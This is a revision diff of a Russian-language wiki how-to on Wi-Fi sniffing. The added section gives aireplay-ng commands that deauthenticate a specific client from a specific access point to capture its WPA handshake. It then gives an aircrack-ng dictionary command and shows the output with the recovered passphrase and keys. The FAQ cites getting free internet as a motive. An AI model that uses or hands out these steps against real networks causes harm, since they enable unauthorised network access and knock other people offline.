Различия

Здесь показаны различия между двумя версиями данной страницы.

--- wiki:wi-fi_sniffing [2012/10/04 19:00]
создано - пилится, в процессе
+++ wiki:wi-fi_sniffing [2012/10/04 19:19]
[aireplay-ng]
@@ Строка 3: / Строка 3: @@
 <note tip>Статья не закончена </note>
-FAQ:
+FAQ: <code>
 В:Что такое sniffing?
 О:"Прослушивание" канала и отлавливание пакетов их сети.
@@ Строка 9: / Строка 9: @@
 В:Зачем это?
 O:Для опыта, развлечения, бесплатного интернета, драйва, много зачем, я думаю если бы у вас не было причин, вы бы не читали этого.
+</code>
 **Немного теории**
 //Я не буду заново изобретать велосипед, статей на эту тему масса, но для меня они были не удовлетворительные и непонятными, потому пишу свой вариант с пояснениями и дословным How-To, буду рад дополнениям и поправкам, так как пишу на основе своих знаний и без большой компетентности и опыта в вопросе//
@@ Строка 65: / Строка 65: @@
   C8:64:C7:53:02:0C - нужная нам точка доступа.
 Собственно всё что нас интересует.
-====aireplay====
+====aireplay-ng====
+Пакет для хуков, в данном случае он нам понадобится для получения среди пакетов ключей ауентификации.
+Создаём новое окно терминала, получаем права суперпользователя и вбиваем
+   aireplay-ng -0 1000 -a C8:64:C7:53:02:0C -c  18:F4:6A:9B:BF:59 mon0
+где -0 режим атаки - деаунтефикация.
+-а атакуемая точка.
+-с клиент который потеряет сеть.
+количество попыток (с какой то попытки человек вылетит из сети насовсем и 100% передаст заново ключи ауентификации)
+На практике доказано, что хватает 20-30 пакетов чтобы выбить человека из сети, а 1000 садизм.
+Видим в мониторе как у клиента растут переданные пакеты, отлично теперь переходим к заключительной части.
+Для всяких извращений курим help
+   aireplay-ng --help
+====aircrack-ng====
+Теперь заключительная часть, у нас куча данных переданных по сети, огромное количество пакетов (чем больше, тем больше шансов выловить что-то полезное).
+   aircrack-ng -a 2 -e 'by Inri' -w '/home/timofey/words/my1.txt' '/home/timofey/snif/Inri-02.cap'
+Где -a тип ключа 1|WEP 2|WPA/WPA2
+-e название сети
+-w путь к файлу с словарём *читал что можно написать *** для того чтобы использовать все доступные словари и прослушанные данные, но не выходит, пишет ошибку.
+А последнее путь к файлу с прослушанными пакетами.
+Вывод, с 4 попытки подобрал (повторяюсь ключ был известен и вписан в словарь для скорости и 100% вероятности перебора).
+<code>
+Aircrack-ng 1.1
+                   [00:00:00] 4 keys tested (415.33 k/s)
+                           KEY FOUND! [ GoodOmens ]
+      Master Key     : CE 25 4A B0 41 BE 0F 4F E4 01 68 AB 07 69 B2 71
+20 52 86 63 BA 4E 17 97 B4 8E 84 69 68 34 0D
+      Transient Key  : 58 40 8D E3 D7 8E A8 DA 89 BC 44 39 37 02 D1 C4
+99 AC C3 93 3E DF 52 AC C4 3E C5 DF C3 CD DF
+B 6F C8 3E E8 B0 F8 AA 16 C1 0C 69 2F 94 47 3A
+B 90 EF 22 59 60 34 B2 96 11 A5 FB 5B F7 21 F2
+      EAPOL HMAC     : DA C6 09 55 6D E8 0E D0 97 25 96 F6 F7 53 D7 7F
+</code>
 ===== Ссылки =====

Wi-fi sniffing Сравнение версий

Различия